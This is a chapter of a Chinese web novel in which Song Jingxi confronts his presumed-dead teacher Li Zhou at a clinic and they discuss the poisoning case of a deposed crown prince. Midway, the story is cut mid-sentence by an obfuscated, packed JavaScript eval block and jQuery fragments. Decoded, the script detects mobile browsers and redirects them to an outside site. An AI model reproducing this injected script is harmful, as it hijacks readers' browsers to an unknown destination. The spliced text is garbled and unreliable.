探臣俱生我执

10. 解忧其五

    韩时元带他去的地方,不是别处,正是存善堂。


    和金宅一样,此时的存善堂灯火通明,院内却没有任何人——一名病患也没有。只有内堂亮着。


    宋景熙原本跟在韩时元身后,此刻他率先上前,推开房门,步入内堂。内堂有三个房间,中间是药房,左右各是一间卧房,卧房门关着。上次宋景熙进入的便是药房,洪医官和洪英此刻正在药房当中,和上次的位置一模一样,一个坐着,一个站着。


    见两位熟人进来,洪医官便心知事情进展得很顺利,自然而然地道:“宋公子...”


    然而,宋景熙直接忽略了药房中的所有人,径直走向左侧卧房,猛地推开房门。


    这间卧房里没人。


    宋景熙又换了个方向,走向右侧卧房。对于来势汹汹的宋景熙,洪英感到很疑惑:“宋......”


    跟在宋景熙身后的韩时元递给洪英和洪医官一个无奈的眼神,轻轻摇了摇头。


    推开右侧卧房的房门,一名白袍中年男子正坐在房中,神色悠闲地翻阅着一本书,手里还握着一杆烟斗,时不时吸上一口,享受在乐趣之中。房门被推开,男子抬头露出惊喜的神情,道:“哎呀!是景熙来了啊!怎么突然...啊!”


    李珘话还没说完,宋景熙就抢过他手上的烟斗,气势凶恶朝他砸了过来。


    李珘被打得抱头鼠窜,叫道:“住手住手!欺师灭祖了啊!”他喊得凶险,实际上宋景熙手上的烟斗根本没砸到他。


    宋景熙气愤地道:“打的就是您,您眼里还有没有我这个徒弟!”


    “怎么没有...你这个逆徒,你眼里还有没有我这个老师??一见面就打!啊啊啊别打了救命啊!时元救我啊!!”李珘这样扯着嗓子叫嚷着,然而根本没有人来救他,韩时元只是站在一旁,微微侧头,虽然面无表情,但眸中私有笑意地看着打李珘被打。


    没人救他,李珘只好极其迅速地躲到角落,背靠墙壁,做出一副焦急的表情,道:“景熙好徒儿!你先冷静,听为师解释解释!”


    “好啊!”宋景熙只是心里气愤,也没有真想揍李珘一顿,毕竟于礼不合。他将烟斗塞回李珘手上,扯出一个状似哭脸的笑,道:“请您好好解释清楚,究竟是怎么回事?”


    李珘朝宋景熙和门口的韩时元都挥了挥手,示意他们坐过去。宋景熙果然冷静地坐了下来,韩时元也将门关上,坐了过去。等两人按照他的指示并排坐下,李珘悠然自得地坐回原位,坐到了宋景熙的对面。


    他装模作样地咳了两声,正色道:“唉,景熙,其实不是为师不想告诉你,只是那时有些事情我们没法控制,我也不得不对你隐瞒我和时元的消息,让你误以为我们因山火而死了。我也知道你一直在找我们,但我们那时不能现身......”


    宋景熙道:“原因呢?”他扫了李珘和韩时元一眼,“不管当年有何苦衷,既然现在回来了,总该告诉我了吧?”


    “......哎呀。”李珘道:“这要是解释起来相当麻烦,总之山火没能将我和时元烧死,之后我和时元离开汉阳,去了庆尚,不久前才回到汉阳,至于原因......现下还不是时候,不若往后有机会再谈论谈论,如何?等等!先别拍桌子!好徒儿你得相信为师不是为师不说而是现下的确有要紧之事加身我和时元也正是因为这件要紧事才回来的这件要紧事就是废世子之案!”


    李珘按住宋景熙要掀的桌子,一口气说了一连串,说完仿佛灵魂出窍般朝天上吐了一口气,吐完了继续道:“景熙你看外面那两位...”他神神秘秘地伸出一根手指头朝上,慢慢挪向药房的方向。很明显他指的是药房那边的洪医官和洪英。


    “这两人,现下算是曳扇台的同伙。和我们一样,都是为了弄清楚废世子案的真相,既然如此,就不要让他们等太久了嘛,只有这件案子解决了,一切才会真正尘埃落定,届时便不会有任何秘密被隐瞒。景熙啊,其实代理官员他有一点没骗你,重启对废世子案的调查的确是主上的主意,正是这个原因,主上才会我召回汉阳。而想要解决废世子案,便少不得存善堂的协助,你可知是什么原因?”


    宋景熙沉默一番,先是在思考李珘和韩时元是否是有何不得不说的苦衷,然后思考李珘的提问,半晌后,他才开口认真答道:“因为,解忧草?他们和金哲的解忧草有干系。解忧草,和您有干系。”


    李珘道:“和我有何种干系?”


    宋景熙道:“那日我询问洪医官他服用解忧草后是否有其它症状,洪医官回答——遗忘。您当年不也是这样的症状吗?”他说最后一句话时,因担心被房间外的洪医官和洪英两人听见,便将声音压得极低。


    李珘点头道:“不错,正是如此。这就是为何存善堂能和曳扇台在一条线上的原因了。我自回汉阳之后,便奉王命重新调查废世子案,既是重新,便要从头。可惜你也知道的,当年都未能查清楚的事,过了二十多年再想要查个明白,不可谓不是难如登天。但不论怎样,该查的还是得查。我翻阅先王留下的档案时,便决定从当年审过的人入手,但凡是还没死的,或留有后人的,如今都翻来审一遭。而这竟没让我费多大力气,因为我第一个找上的就是存善堂,毕竟在当年,嫌疑最大的就是洪家人。”


    世子的遗忘之症愈发严重时,先王也怀疑过是奸人毒害所致,因此无论是大小官员还是王宫中人,皆被调查了个遍。其中最受到怀疑、遭受了最多拷问的,便是世子的贴身御医:洪御医。洪御医起初并非世子身边之人,只是内医院一名兢兢业业却名不见经传的医官。然而在世子出现头痛之症后,内医院的诸多御医却都束手无策之时,世子嫔力荐一人为世子治疗,此人便是洪御医。洪御医作为世子嫔的同乡而受到信任,又因其医术的确高明,每每为世子治疗之时,竟多能替世子解头痛之苦,因此久而久之,洪御医便得到了世子的信任和依赖,被晋为世子的贴身御医。


    然而信赖是没有免死免审问的奇效的。世子出事后,首位被问责的往往就是最亲信的。尽管洪御医是在世子出现头痛之症后才奉命为世子治疗,此前一直未能接触过世子,但当先王决定调查时,首当其冲的依旧是洪御医。为了方便审讯洪御医,不让其家人影响到审讯,洪御医的家人被悉数缉拿下狱,而洪御医本人则被押送至鞫审厅,十八般官员轮番上阵,甚至先王也亲自上场,用尽了所有手段,让洪御医吃尽了苦头,洪御医也没吐露出任何罪证。


    之后,先王因病痛缠身,考量到稳定朝纲而不得不改立世子,此后整个朝廷的重心倾向了新世子。一年多后,也就是先王死前半年,下令释放洪御医。


    被关押两年之久,重获自由后,洪御医离开了内医院,归乡务农行医。然而又是不到一年后,洪御医于山间采药之时,因不甚脚滑而摔下悬崖,当场身亡。这被不少人怀疑洪御医是被杀人灭口,其背后一定有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773759|157869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人指使。但很快这个猜测也被否认了,否认之人正是洪御医的亲弟弟,洪医官。


    洪医官原本也在宫中内医院当差,只是由于经验不丰,级别并不高。洪御医被抓时,洪医官也受到牵连被一并抓去审问,但洪医官和洪御医一样,什么也没招。由于洪医官从头到尾都未接触过世子,一直在内医院打杂,所以很快便被排除了嫌疑,审问无果后便被长期关押了。洪御医被释放时,其家人也被一并释放,洪医官当然在之列,并且跟随洪御医一起辞官归了乡。


    面对众人对洪御医坠崖身亡的质疑,按洪医官的说法,便是那时他与兄长洪御医在山间采药,洪御医看上了长在崖壁上的一株药草,为了得到它,不惜身套绳索,攀下岩壁去采,却不幸因脚下石头掉落而踩空,尽管洪医官极力拉住绳索,但绳索却因岩壁磨损而导致断裂,洪御医因此不幸坠下悬崖,当场身亡。


    崖边挣扎的痕迹和两截从中断掉的绳索能证实洪医官的说法,而洪医官本人为了救下兄长,不甚磕破膝盖,落下终身残疾。


    李珘道:“当年先王审的最狠、最久的,只有洪御医一人。也难怪他嫌疑最大,那年内医院众多御医,只有他能医治我的头痛之症,偏偏又是在他为我医治之后,我才出现遗忘之症。然而我如今想再调查他,他坟上的草已经长得比碑还要高了。所幸他弟弟洪医官还没死,还开了家医馆。不从洪医官这里着手,还有别的机会吗?景熙你尚在江原道时,我便拜访了存善堂。”


    宋景熙道:“所以,洪医官交代了什么?居然能成为我们的同伙,从过往来看...洪医官的嫌疑似乎也很大。此人...真的可信吗?”


    李珘抽了一口烟,哈哈道:“你觉得不可信,巧了,我和时元原本也这么觉得。小子,你说对吧?”


    宋景熙扭头看向韩时元,后者原本正托着下巴,手肘撑在桌上,一副百无聊赖的模样,见他看过来,竟端正了坐姿,开口道:“......对。在废世子案上,存善堂的立场与我们一致。”


    宋景熙偏头道:“为何这么说?”


    李珘道:“那时我来到存善堂,方说明来意,洪医官便当即表示愿意为调查废世子案倾尽全力配合,我那时对于他这样快就答应感到很诧异,毕竟在先王留下的档案里,洪医官受到审问时一直秉持着他们和废世子案无关的立场,从他的视角来看,不仅无关,还无辜遭受了牵连,害得半个家破人亡,我以为他本不应该配合我的调查才对,于是我便向其说明了废世子病时的两大症状:愈发严重的头痛和遗忘,以及这两者的诸多细节,这些细节虽是我亲身所历,却从未披露出去过。不成想洪医官听罢,竟露出万分吃惊的神情,随后从卧房里拿出一个盒子,这盒子打开后,里面不是别的,正是解忧草。”


    宋景熙道:“等等,我记得洪医官对我说,他已经让洪英将解忧草悉数销毁了?”


    韩时元淡声道:“他骗你的。”


    “......”宋景熙忽然变得没好气道:“是啊,都骗我,你们也没好到哪里去,不是吗?都合伙起来骗我。”


    李珘抹了把不存在的汗,嘿嘿一笑:“这是为了考验你呀,哪里能说是骗呢...诶等等先别拔刀!冷静!冷静,且听为师说完。那解忧草的草本虽然尚存,可惜已经十分干瘪,几乎没有任何汁液了,连气味也淡不可闻,然而只是这淡到几乎闻不到的气味,却让我凭空生出来恐惧,那种和当年一模一样的恐惧。”